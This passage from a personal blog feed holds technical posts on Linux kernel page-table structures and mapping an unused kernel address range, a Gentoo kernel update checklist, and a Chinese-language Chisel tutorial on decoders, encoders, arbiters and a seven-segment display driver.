<em>next</em> level (e.g., <code class="language-plaintext highlighter-rouge">pgd_t</code> -&gt; <code class="language-plaintext highlighter-rouge">p4d_t</code> for <code class="language-plaintext highlighter-rouge">p4d_offset()</code>)</p>

<p>Subject to the exact configuration, <code class="language-plaintext highlighter-rouge">p4d</code> and <code class="language-plaintext highlighter-rouge">pud</code> may not exist,
but <code class="language-plaintext highlighter-rouge">pgd</code> always exists. In the cases, where <code class="language-plaintext highlighter-rouge">p4d</code> or <code class="language-plaintext highlighter-rouge">pud</code> do not
exist. Their macros are replaced with dummy implementation.</p>

<p>For example, the macro <code class="language-plaintext highlighter-rouge">p4d_offset</code> is as follows. When only 4-level paging
is activated, it directly returns <code class="language-plaintext highlighter-rouge">pgd</code> (converted to <code class="language-plaintext highlighter-rouge">p4d</code>);</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kr">inline</span> <span class="n">p4d_t</span> <span class="o">*</span><span class="nf">p4d_offset</span><span class="p">(</span><span class="n">pgd_t</span> <span class="o">*</span><span class="n">pgd</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">address</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pgtable_l5_enabled</span><span class="p">())</span>
        <span class="k">return</span> <span class="p">(</span><span class="n">p4d_t</span> <span class="o">*</span><span class="p">)</span><span class="n">pgd</span><span class="p">;</span>
    <span class="c1">// Note `*pgd` is used here, extracting the `pgd` entry.</span>
    <span class="k">return</span> <span class="p">(</span><span class="n">p4d_t</span> <span class="o">*</span><span class="p">)</span><span class="n">pgd_page_vaddr</span><span class="p">(</span><span class="o">*</span><span class="n">pgd</span><span class="p">)</span> <span class="o">+</span> <span class="n">p4d_index</span><span class="p">(</span><span class="n">address</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Similarly for macros like <code class="language-plaintext highlighter-rouge">p4d_index</code>, these dummy macros just simply
return 0 when <code class="language-plaintext highlighter-rouge">p4d</code> is folded. This is presumably for a unified implementation
of pagetable walking (same implementation for {3,4,5}-level paging).</p>

<p>The following picture shows how Linux uses different structures to handle
pagetable hierarchy, epspecially <code class="language-plaintext highlighter-rouge">p4d = (p4d_t*)(*pgd) + p4d_index(addr)</code>.
<img src="https://pic4.58cdn.com.cn/nowater/webim/big/n_v28cb2886a12a544cd941848d7986907e4.png" alt="image.png" /></p>

<p>Particularly, when only 4-level paging is enabled, the <code class="language-plaintext highlighter-rouge">p4d_index(*)</code> <em>always</em>
returns 0, that is <code class="language-plaintext highlighter-rouge">pgd</code> directly points to different <code class="language-plaintext highlighter-rouge">pud</code>.</p>

<h2 id="practice">Practice</h2>

<p>The reason I dig into this is that I need to map an <em>unused</em> part of
<a href="https://www.kernel.org/doc/html/v6.1/x86/x86_64/mm.html">virtual address space</a>
of Linux and use it for my own purpose.</p>

<p>Specifically, I want to use the 2TB hole from <code class="language-plaintext highlighter-rouge">fffffc0000000000</code> to
<code class="language-plaintext highlighter-rouge">fffffdffffffffff</code>, and this should be shared between <em>all</em> kernel
thread, meaning it should be injected into <code class="language-plaintext highlighter-rouge">init_mm</code>, the address space
of <code class="language-plaintext highlighter-rouge">init</code> process.</p>

<blockquote>
  <p>This design only works for 4-level paging w.o. Kernel Pagetable Isolation (KPTI).</p>
</blockquote>

<p><img src="https://pic2.58cdn.com.cn/nowater/webim/big/n_v25836460d75744cb38f67e2b07ee66bdd.png" alt="pagetable.drawio.png" /></p>

<p>In practice here, we only care about 4-level paging, meaning <code class="language-plaintext highlighter-rouge">p4d</code>’s
are always folded as shown in above figure.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">init_x</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="p">{</span>
  <span class="cm">/* other code */</span>
  <span class="n">top_pgd</span> <span class="o">=</span> <span class="n">init_mm</span><span class="p">.</span><span class="n">pgd</span><span class="p">;</span>
  <span class="n">pgd</span> <span class="o">=</span> <span class="n">pgd_offset_pgd</span><span class="p">(</span><span class="n">top_pgd</span><span class="p">,</span> <span class="n">addr</span><span class="p">);</span>
  <span class="n">p4d</span> <span class="o">=</span> <span class="n">p4d_offset</span><span class="p">(</span><span class="n">pgd</span><span class="p">,</span> <span class="n">addr</span><span class="p">);</span>   <span class="c1">// dummy transition</span>

  <span class="cm">/* we assume 4 page level, pgd = p4d*/</span>
  <span class="n">BUG_ON</span><span class="p">(</span><span class="n">p4d</span> <span class="o">!=</span> <span class="p">(</span><span class="n">p4d_t</span> <span class="o">*</span><span class="p">)</span><span class="n">pgd</span><span class="p">);</span>
  <span class="n">nr_pgd</span> <span class="o">=</span> <span class="p">(</span><span class="n">MOAT_END</span> <span class="o">-</span> <span class="n">MOAT_START</span><span class="p">)</span> <span class="o">&gt;&gt;</span> <span class="mi">39</span><span class="p">;</span>
  <span class="k">for</span> <span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">nr_pgd</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">BUG_ON</span><span class="p">(</span><span class="o">!</span><span class="n">moat_pud_alloc</span><span class="p">(</span><span class="o">&amp;</span><span class="n">init_mm</span><span class="p">,</span> <span class="n">p4d</span><span class="p">,</span> <span class="n">addr</span><span class="p">));</span>
    <span class="n">addr</span> <span class="o">=</span> <span class="n">pgd_addr_end</span><span class="p">(</span><span class="n">addr</span><span class="p">,</span> <span class="n">MOAT_END</span><span class="p">);</span>
    <span class="n">pgd</span> <span class="o">=</span> <span class="n">pgd_offset_pgd</span><span class="p">(</span><span class="n">top_pgd</span><span class="p">,</span> <span class="n">addr</span><span class="p">);</span>
    <span class="n">p4d</span> <span class="o">=</span> <span class="n">p4d_offset</span><span class="p">(</span><span class="n">pgd</span><span class="p">,</span> <span class="n">addr</span><span class="p">);</span> <span class="c1">// dummy transition.</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>After this function is executed, four additional <code class="language-plaintext highlighter-rouge">pud</code> are allocated,
<code class="language-plaintext highlighter-rouge">pgd[504-507]</code> pointing to four different <code class="language-plaintext highlighter-rouge">pud</code> table.</p>]]></content><author><name>Hongyi LU</name><email>jwnhy0@gmail.com</email></author><summary type="html"><![CDATA[The structures of different page tables on Linux.]]></summary></entry><entry><title type="html">Gentoo system/kernel update procedure</title><link href="https://hongyi.lu/kernel_update/" rel="alternate" type="text/html" title="Gentoo system/kernel update procedure" /><published>2023-07-07T00:00:00+00:00</published><updated>2023-07-07T00:00:00+00:00</updated><id>https://hongyi.lu/kernel_update</id><content type="html" xml:base="https://hongyi.lu/kernel_update/"><![CDATA[<p>Due to the forgetfulness of myself, I write this article to record the procedure
of updating my Gentoo system (kernel).</p>

<h2 id="system-update">System update</h2>

<p>This is not that complicated.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>emerge <span class="nt">--ask</span> <span class="nt">--update</span> <span class="nt">--deep</span> <span class="nt">--newuse</span> @world <span class="c"># update everything</span>
<span class="nb">sudo </span>emerge <span class="nt">--depclean</span>                            <span class="c"># clean unneeded packages</span>
</code></pre></div></div>

<p>The following notification is NOT real conflict but simple lagged packages.</p>

<blockquote>
  <p>WARNING: One or more updates/rebuilds have been skipped due to a dependency conflict</p>
</blockquote>

<h2 id="kernel-update">Kernel update</h2>

<h3 id="mount-boot-partition">Mount <code class="language-plaintext highlighter-rouge">/boot</code> partition</h3>

<p>I have a seperated partition for <code class="language-plaintext highlighter-rouge">/boot</code> (only 100M), so mount it first before
installing the kernel.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>mount /dev/nvme0n1p1 /boot
</code></pre></div></div>

<h3 id="before-building-the-kernel">Before building the kernel</h3>

<p>You may want to copy the <code class="language-plaintext highlighter-rouge">.config</code> and symbollink <code class="language-plaintext highlighter-rouge">linux</code> to the newer linux
kernel (but this seems optional).</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo cp </span>linux/.config &lt;new-kernel&gt;/.config
<span class="nb">sudo rm </span>linux
<span class="nb">sudo ln</span> <span class="nt">-s</span> &lt;new-kernel&gt; linux
</code></pre></div></div>

<h3 id="building-the-kernel">Building the kernel</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>make <span class="nt">-j21</span> <span class="o">&amp;&amp;</span> <span class="nb">sudo </span>make <span class="nb">install</span> <span class="o">&amp;&amp;</span> <span class="nb">sudo </span>make modules_install
</code></pre></div></div>

<h3 id="after-building-the-kernel">After building the kernel</h3>

<p>You probably need to update the grub configuration to use the new kernel.
Don’t forget to install the <code class="language-plaintext highlighter-rouge">nvidia-driver</code>, otherwise the graphic card won’t work.
(Fuck you Nvidia)</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>grub-mkconfig <span class="nt">-o</span> /boot/grub/grub.cfg
<span class="nb">sudo </span>emerge <span class="nt">-av</span> nvidia-drivers
</code></pre></div></div>]]></content><author><name>Hongyi LU</name><email>jwnhy0@gmail.com</email></author><summary type="html"><![CDATA[Due to the forgetfulness of myself, I write this article to record the procedure of updating my Gentoo system (kernel).]]></summary></entry><entry><title type="html">搭建自己的 CPU / 组合逻辑</title><link href="https://hongyi.lu/comb/" rel="alternate" type="text/html" title="搭建自己的 CPU / 组合逻辑" /><published>2022-11-08T00:00:00+00:00</published><updated>2022-11-08T00:00:00+00:00</updated><id>https://hongyi.lu/comb</id><content type="html" xml:base="https://hongyi.lu/comb/"><![CDATA[<p>摸鱼时倒腾 verilog 的笔记。</p>

<h2 id="组合逻辑">组合逻辑</h2>

<p>组合逻辑指那些<strong>不</strong>包含存储能力的电路。由于它们并不具有存储功能，因此可以被表示
成布尔表达式的形式。</p>

<div class="language-scala highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">out</span> <span class="o">:=</span> <span class="n">in_a</span> <span class="o">&amp;</span> <span class="n">in_b</span>
</code></pre></div></div>

<h3 id="解码器">解码器</h3>

<p>解码器将一个 $n$ 位的输入转换成一个 $m$ 位的信号输出，其中 $m\leq 2^n$。
下表为一个 4 位解码器的输入与对应输出。</p>

<table>
  <thead>
    <tr>
      <th style="text-align: center">输入</th>
      <th style="text-align: center">输出</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: center">00</td>
      <td style="text-align: center">0001</td>
    </tr>
    <tr>
      <td style="text-align: center">01</td>
      <td style="text-align: center">0010</td>
    </tr>
    <tr>
      <td style="text-align: center">10</td>
      <td style="text-align: center">0100</td>
    </tr>
    <tr>
      <td style="text-align: center">11</td>
      <td style="text-align: center">1000</td>
    </tr>
  </tbody>
</table>

<p>一个解码器可以用下面的 Chisel 代码描述</p>

<div class="language-scala highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/*sel: 输入
  result: 输出*/</span>

<span class="cm">/* Verbose Version */</span>
<span class="k">val</span> <span class="nv">result</span> <span class="k">=</span> <span class="mf">0.</span><span class="n">U</span>
<span class="nf">switch</span> <span class="o">(</span><span class="n">sel</span><span class="o">)</span> <span class="o">{</span>
  <span class="nf">is</span> <span class="o">(</span><span class="s">"b00"</span><span class="o">.</span><span class="py">U</span><span class="o">)</span> <span class="o">{</span> <span class="n">result</span> <span class="o">:=</span> <span class="s">"b0001"</span><span class="o">.</span><span class="py">U</span><span class="o">}</span>
  <span class="nf">is</span> <span class="o">(</span><span class="s">"b01"</span><span class="o">.</span><span class="py">U</span><span class="o">)</span> <span class="o">{</span> <span class="n">result</span> <span class="o">:=</span> <span class="s">"b0010"</span><span class="o">.</span><span class="py">U</span><span class="o">}</span>
  <span class="nf">is</span> <span class="o">(</span><span class="s">"b10"</span><span class="o">.</span><span class="py">U</span><span class="o">)</span> <span class="o">{</span> <span class="n">result</span> <span class="o">:=</span> <span class="s">"b0100"</span><span class="o">.</span><span class="py">U</span><span class="o">}</span>
  <span class="nf">is</span> <span class="o">(</span><span class="s">"b11"</span><span class="o">.</span><span class="py">U</span><span class="o">)</span> <span class="o">{</span> <span class="n">result</span> <span class="o">:=</span> <span class="s">"b1000"</span><span class="o">.</span><span class="py">U</span><span class="o">}</span>
<span class="o">}</span>
<span class="cm">/* Simple Version */</span>
<span class="n">result</span> <span class="o">:=</span> <span class="mf">1.</span><span class="n">U</span> <span class="o">&lt;&lt;</span> <span class="n">sel</span>
</code></pre></div></div>

<p>解码器可以与 AND 门组合构成 Mux 选择器，也可以在处理器与内存的通信时用于解码地址
信号。</p>

<h3 id="编码器">编码器</h3>

<p>编码器执行与解码器相反的操作，用于将一个 $m$ 位的信号输入编码为一个 $n$ 位的数字输出。
下表位一个 4 位编码器的真值表。</p>

<table>
  <thead>
    <tr>
      <th style="text-align: center">输入</th>
      <th style="text-align: center">输出</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: center">0001</td>
      <td style="text-align: center">00</td>
    </tr>
    <tr>
      <td style="text-align: center">0010</td>
      <td style="text-align: center">01</td>
    </tr>
    <tr>
      <td style="text-align: center">0100</td>
      <td style="text-align: center">10</td>
    </tr>
    <tr>
      <td style="text-align: center">1000</td>
      <td style="text-align: center">11</td>
    </tr>
    <tr>
      <td style="text-align: center">????</td>
      <td style="text-align: center">??</td>
    </tr>
  </tbody>
</table>

<p>对于小的编码器，我们可以用与解码器类似的思路进行硬编码，然而对于大规模的编码器，
这样显然不可取，因此我们可以利用 Scala 的循环来生成编码器。</p>

<div class="language-scala highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/*hotIn: 输入
  v: 临时存储
  encOut: 输出*/</span>
<span class="k">val</span> <span class="nv">v</span> <span class="k">=</span> <span class="nc">Wire</span><span class="o">(</span><span class="nc">Vec</span> <span class="o">(</span><span class="mi">16</span><span class="o">,</span> <span class="nc">UInt</span> <span class="o">(</span><span class="mf">4.</span><span class="n">W</span><span class="o">)))</span>
<span class="nf">v</span><span class="o">(</span><span class="mi">0</span><span class="o">)</span> <span class="o">:=</span> <span class="mf">0.</span><span class="n">U</span>
<span class="nf">for</span> <span class="o">(</span><span class="n">i</span> <span class="k">&lt;-</span> <span class="mi">1</span> <span class="n">until</span> <span class="mi">16</span><span class="o">)</span> <span class="o">{</span>
  <span class="nf">v</span><span class="o">(</span><span class="n">i</span><span class="o">)</span> <span class="o">:=</span> <span class="nc">Mux</span><span class="o">(</span><span class="nf">hotIn</span><span class="o">(</span><span class="n">i</span><span class="o">),</span> <span class="nv">i</span><span class="o">.</span><span class="py">U</span><span class="o">,</span> <span class="mf">0.</span><span class="n">U</span><span class="o">)</span> <span class="o">|</span> <span class="nf">v</span><span class="o">(</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="o">)</span>
<span class="o">}</span>
<span class="k">val</span> <span class="nv">encOut</span> <span class="k">=</span> <span class="nf">v</span><span class="o">(</span><span class="mi">15</span><span class="o">)</span>
</code></pre></div></div>

<p>上面的式子中，由于 <code class="language-plaintext highlighter-rouge">hotIn</code> 为 one-hot 编码，只有一位非零，导致结果 <code class="language-plaintext highlighter-rouge">v</code> 中也只有
一个元素非零，我们只要将 <code class="language-plaintext highlighter-rouge">v</code> 的各个元素以 OR 连接即可找到该非零元素。</p>

\[\exists! i, hotIn[i]\neq 0 \Rightarrow \exists! v[i]\neq 0\]

<h3 id="裁决器">裁决器</h3>

<p>裁决器负责将一个 $n$ 位信号源转换成 one-hot 编码，一个公平的裁决器需要使用寄存器
来记住自己上次选择的信号，在这里，我们假定<strong>低位</strong>信号具有优先权。</p>

<p>对于小型的裁决器，我们可以利用类似的硬编码思路进行编程。</p>

<div class="language-scala highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">val</span> <span class="nv">grant</span> <span class="k">=</span> <span class="nc">WireDefault</span> <span class="o">(</span><span class="s">"b0000"</span><span class="o">.</span><span class="py">U</span><span class="o">(</span><span class="mf">3.</span><span class="n">W</span><span class="o">))</span>
<span class="nf">switch</span> <span class="o">(</span><span class="n">request</span><span class="o">)</span> <span class="o">{</span>
  <span class="nf">is</span> <span class="o">(</span><span class="s">"b000"</span><span class="o">.</span><span class="py">U</span><span class="o">)</span> <span class="o">{</span> <span class="n">grant</span> <span class="o">:=</span> <span class="s">"b000"</span><span class="o">.</span><span class="py">U</span><span class="o">}</span>
  <span class="nf">is</span> <span class="o">(</span><span class="s">"b001"</span><span class="o">.</span><span class="py">U</span><span class="o">)</span> <span class="o">{</span> <span class="n">grant</span> <span class="o">:=</span> <span class="s">"b001"</span><span class="o">.</span><span class="py">U</span><span class="o">}</span>
  <span class="nf">is</span> <span class="o">(</span><span class="s">"b010"</span><span class="o">.</span><span class="py">U</span><span class="o">)</span> <span class="o">{</span> <span class="n">grant</span> <span class="o">:=</span> <span class="s">"b010"</span><span class="o">.</span><span class="py">U</span><span class="o">}</span>
  <span class="nf">is</span> <span class="o">(</span><span class="s">"b011"</span><span class="o">.</span><span class="py">U</span><span class="o">)</span> <span class="o">{</span> <span class="n">grant</span> <span class="o">:=</span> <span class="s">"b001"</span><span class="o">.</span><span class="py">U</span><span class="o">}</span>
  <span class="nf">is</span> <span class="o">(</span><span class="s">"b100"</span><span class="o">.</span><span class="py">U</span><span class="o">)</span> <span class="o">{</span> <span class="n">grant</span> <span class="o">:=</span> <span class="s">"b100"</span><span class="o">.</span><span class="py">U</span><span class="o">}</span>
  <span class="nf">is</span> <span class="o">(</span><span class="s">"b101"</span><span class="o">.</span><span class="py">U</span><span class="o">)</span> <span class="o">{</span> <span class="n">grant</span> <span class="o">:=</span> <span class="s">"b001"</span><span class="o">.</span><span class="py">U</span><span class="o">}</span>
  <span class="nf">is</span> <span class="o">(</span><span class="s">"b110"</span><span class="o">.</span><span class="py">U</span><span class="o">)</span> <span class="o">{</span> <span class="n">grant</span> <span class="o">:=</span> <span class="s">"b010"</span><span class="o">.</span><span class="py">U</span><span class="o">}</span>
  <span class="nf">is</span> <span class="o">(</span><span class="s">"b111"</span><span class="o">.</span><span class="py">U</span><span class="o">)</span> <span class="o">{</span> <span class="n">grant</span> <span class="o">:=</span> <span class="s">"b001"</span><span class="o">.</span><span class="py">U</span><span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<p>对于大型裁决器，就需要用到循环来生成裁决器的电路了。</p>

<div class="language-scala highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/*grant(i) == true: i 获得了权限
  notGranted(i) == true: 权限还未给予 0~i 中任何一个*/</span>
<span class="k">val</span> <span class="nv">grant</span> <span class="k">=</span> <span class="nv">VecInit</span><span class="o">.</span><span class="py">fill</span><span class="o">(</span><span class="n">n</span><span class="o">)(</span><span class="nv">false</span><span class="o">.</span><span class="py">B</span><span class="o">)</span>
<span class="k">val</span> <span class="nv">notGranted</span> <span class="k">=</span> <span class="nv">VecInit</span><span class="o">.</span><span class="py">fill</span><span class="o">(</span><span class="n">n</span><span class="o">)(</span><span class="nv">false</span><span class="o">.</span><span class="py">B</span><span class="o">)</span>
<span class="nf">grant</span> <span class="o">(</span><span class="mi">0</span><span class="o">)</span> <span class="o">:=</span> <span class="nf">request</span> <span class="o">(</span><span class="mi">0</span><span class="o">)</span>
<span class="nf">notGranted</span> <span class="o">(</span><span class="mi">0</span><span class="o">)</span> <span class="o">:=</span> <span class="o">!</span><span class="nf">grant</span> <span class="o">(</span><span class="mi">0</span><span class="o">)</span>
<span class="nf">for</span> <span class="o">(</span><span class="n">i</span> <span class="k">&lt;-</span> <span class="mi">1</span> <span class="n">until</span> <span class="n">n</span><span class="o">)</span> <span class="o">{</span>
  <span class="nf">grant</span><span class="o">(</span><span class="n">i</span><span class="o">)</span> <span class="o">:=</span> <span class="nf">request</span><span class="o">(</span><span class="n">i</span><span class="o">)</span> <span class="o">&amp;&amp;</span> <span class="nf">notGranted</span> <span class="o">(</span><span class="n">i</span> <span class="o">-</span><span class="mi">1</span><span class="o">)</span>
  <span class="nf">notGranted</span> <span class="o">(</span><span class="n">i</span><span class="o">)</span> <span class="o">:=</span> <span class="o">!</span><span class="nf">grant</span><span class="o">(</span><span class="n">i</span><span class="o">)</span> <span class="o">&amp;&amp;</span> <span class="nf">notGranted</span> <span class="o">(</span><span class="n">i</span> <span class="o">-</span><span class="mi">1</span><span class="o">)</span>
<span class="o">}</span>
</code></pre></div></div>

<blockquote>
  <p>似乎这里可以 <code class="language-plaintext highlighter-rouge">val notGranted = false.B</code>，因为我们每次只需要记录是否已被 grant，在
生成的电路层面应当两者等价，但程序会更清晰？</p>
</blockquote>

<h2 id="组合逻辑数码管输出">组合逻辑：数码管输出</h2>

<p>FPGA 板卡上通常都带有<a href="https://zh.wikipedia.org/zh-cn/%E4%B8%83%E5%8A%83%E7%AE%A1">数码管</a>，可以
用于表示 16 进制数（尽管如 B，D 等必须用小写表示）。</p>

<p>7段共阴极数码管显示 0 ~9，A ~ F，其编码依次为：3FH，06H，5BH，4FH，66H，6DH，7DH，07H，7FH，6FH，
77H，7CH，39H，5EH，79H，71H。我们可以用 Chisel 实现一个将 4 bit 开关信号，转换成显示 16 进制数
的电路。</p>

<div class="language-scala highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">package</span> <span class="nn">decoder</span>
<span class="k">import</span> <span class="nn">chisel3._</span>
<span class="k">import</span> <span class="nn">chisel3.util._</span>
<span class="k">class</span> <span class="nc">Decoder</span> <span class="k">extends</span> <span class="nc">Module</span> <span class="o">{</span>
  <span class="k">val</span> <span class="nv">io</span> <span class="k">=</span> <span class="nc">IO</span><span class="o">(</span><span class="k">new</span> <span class="nc">Bundle</span> <span class="o">{</span>
    <span class="k">val</span> <span class="nv">inSw</span> <span class="k">=</span> <span class="nc">Input</span><span class="o">(</span><span class="nc">UInt</span><span class="o">(</span><span class="mf">4.</span><span class="n">W</span><span class="o">))</span>
    <span class="k">val</span> <span class="nv">outSeg</span> <span class="k">=</span> <span class="nc">Output</span><span class="o">(</span><span class="nc">UInt</span><span class="o">(</span><span class="mf">8.</span><span class="n">W</span><span class="o">))</span>
  <span class="o">})</span>
  <span class="k">val</span> <span class="nv">HIGH_IS_ON</span> <span class="k">=</span> <span class="kc">false</span><span class="o">;</span>
  <span class="k">val</span> <span class="nv">codeTable</span> <span class="k">=</span> <span class="nc">Array</span><span class="o">(</span>
    <span class="s">"b00111111"</span><span class="o">.</span><span class="py">U</span><span class="o">,</span> <span class="c1">// 0</span>
    <span class="s">"b00000110"</span><span class="o">.</span><span class="py">U</span><span class="o">,</span> <span class="c1">// 1</span>
    <span class="s">"b01011011"</span><span class="o">.</span><span class="py">U</span><span class="o">,</span> <span class="c1">// 2</span>
    <span class="s">"b01001111"</span><span class="o">.</span><span class="py">U</span><span class="o">,</span> <span class="c1">// 3</span>
    <span class="s">"b01100110"</span><span class="o">.</span><span class="py">U</span><span class="o">,</span> <span class="c1">// 4</span>
    <span class="s">"b01101101"</span><span class="o">.</span><span class="py">U</span><span class="o">,</span> <span class="c1">// 5</span>
    <span class="s">"b01111101"</span><span class="o">.</span><span class="py">U</span><span class="o">,</span> <span class="c1">// 6</span>
    <span class="s">"b00000111"</span><span class="o">.</span><span class="py">U</span><span class="o">,</span> <span class="c1">// 7</span>
    <span class="s">"b01111111"</span><span class="o">.</span><span class="py">U</span><span class="o">,</span> <span class="c1">// 8</span>
    <span class="s">"b01101111"</span><span class="o">.</span><span class="py">U</span><span class="o">,</span> <span class="c1">// 9</span>
    <span class="s">"b01110111"</span><span class="o">.</span><span class="py">U</span><span class="o">,</span> <span class="c1">// A</span>
    <span class="s">"b01111100"</span><span class="o">.</span><span class="py">U</span><span class="o">,</span> <span class="c1">// b</span>
    <span class="s">"b00111001"</span><span class="o">.</span><span class="py">U</span><span class="o">,</span> <span class="c1">// C</span>
    <span class="s">"b01011110"</span><span class="o">.</span><span class="py">U</span><span class="o">,</span> <span class="c1">// d</span>
    <span class="s">"b01111001"</span><span class="o">.</span><span class="py">U</span><span class="o">,</span> <span class="c1">// E</span>
    <span class="s">"b01110001"</span><span class="o">.</span><span class="py">U</span> <span class="c1">// F</span>
  <span class="o">)</span>
  <span class="k">val</span> <span class="nv">hwCodeTable</span> <span class="k">=</span> <span class="nc">Wire</span><span class="o">(</span><span class="nc">Vec</span><span class="o">(</span><span class="mi">16</span><span class="o">,</span> <span class="nc">UInt</span><span class="o">(</span><span class="mf">8.</span><span class="n">W</span><span class="o">)));</span>
  <span class="nf">for</span> <span class="o">(</span><span class="n">i</span> <span class="k">&lt;-</span> <span class="mi">0</span> <span class="n">to</span> <span class="mi">15</span><span class="o">)</span> <span class="o">{</span>
    <span class="nf">hwCodeTable</span><span class="o">(</span><span class="n">i</span><span class="o">)</span> <span class="o">:=</span> <span class="nf">codeTable</span><span class="o">(</span><span class="n">i</span><span class="o">)</span>
  <span class="o">}</span>
  <span class="nf">if</span> <span class="o">(</span><span class="nc">HIGH_IS_ON</span><span class="o">)</span>
    <span class="nv">io</span><span class="o">.</span><span class="py">outSeg</span> <span class="o">:=</span> <span class="nf">hwCodeTable</span><span class="o">(</span><span class="nv">io</span><span class="o">.</span><span class="py">inSw</span><span class="o">)</span>
  <span class="k">else</span>
    <span class="nv">io</span><span class="o">.</span><span class="py">outSeg</span> <span class="o">:=</span> <span class="o">~</span><span class="nf">hwCodeTable</span><span class="o">(</span><span class="nv">io</span><span class="o">.</span><span class="py">inSw</span><span class="o">)</span>
<span class="o">}</span>

<span class="k">object</span> <span class="nc">DecoderMain</span> <span class="k">extends</span> <span class="nc">App</span> <span class="o">{</span>
  <span class="nf">println</span><span class="o">(</span><span class="s">"Generating the decoder hardware"</span><span class="o">)</span>
  <span class="nf">emitVerilog</span><span class="o">(</span><span class="k">new</span> <span class="nc">Decoder</span><span class="o">(),</span> <span class="nc">Array</span><span class="o">(</span><span class="s">"--target-dir"</span><span class="o">,</span> <span class="s">"generated"</span><span class="o">))</span>
<span class="o">}</span>
</code></pre></div></div>

<blockquote>
  <p>值得注意的一点是，在 DE10-Lite 板卡上，数码管的 “亮” 是在对应位置输出<strong>低电平</strong>，因此我们定义了
<code class="language-plaintext highlighter-rouge">HIGH_IS_ON</code> 来控制这类行为，如果你的板卡的 “亮” 对应的为 <strong>高电平</strong>，将 <code class="language-plaintext highlighter-rouge">HIGH_IS_ON</code> 设为 true
即可。</p>
</blockquote>

<p>同样通过查询手册，得到对应的针脚信息如下。</p>

<p><img src="https://i.imgur.com/C4LT73b.png" alt="Segment Pins" /></p>

<p>在经过类似于 <a href="../intro">第一章</a> 的针脚绑定与烧写流程后，我们可以用开关来控制 FPGA 板卡
LED 数码管的显示。</p>

<p><img src="https://i.imgur.com/NjZtYHa.png" alt="Display" /></p>]]></content><author><name>Hongyi LU</name><email>jwnhy0@gmail.com</email></author><summary type="html"><![CDATA[摸鱼时倒腾 verilog 的笔记。]]></summary></entry></feed>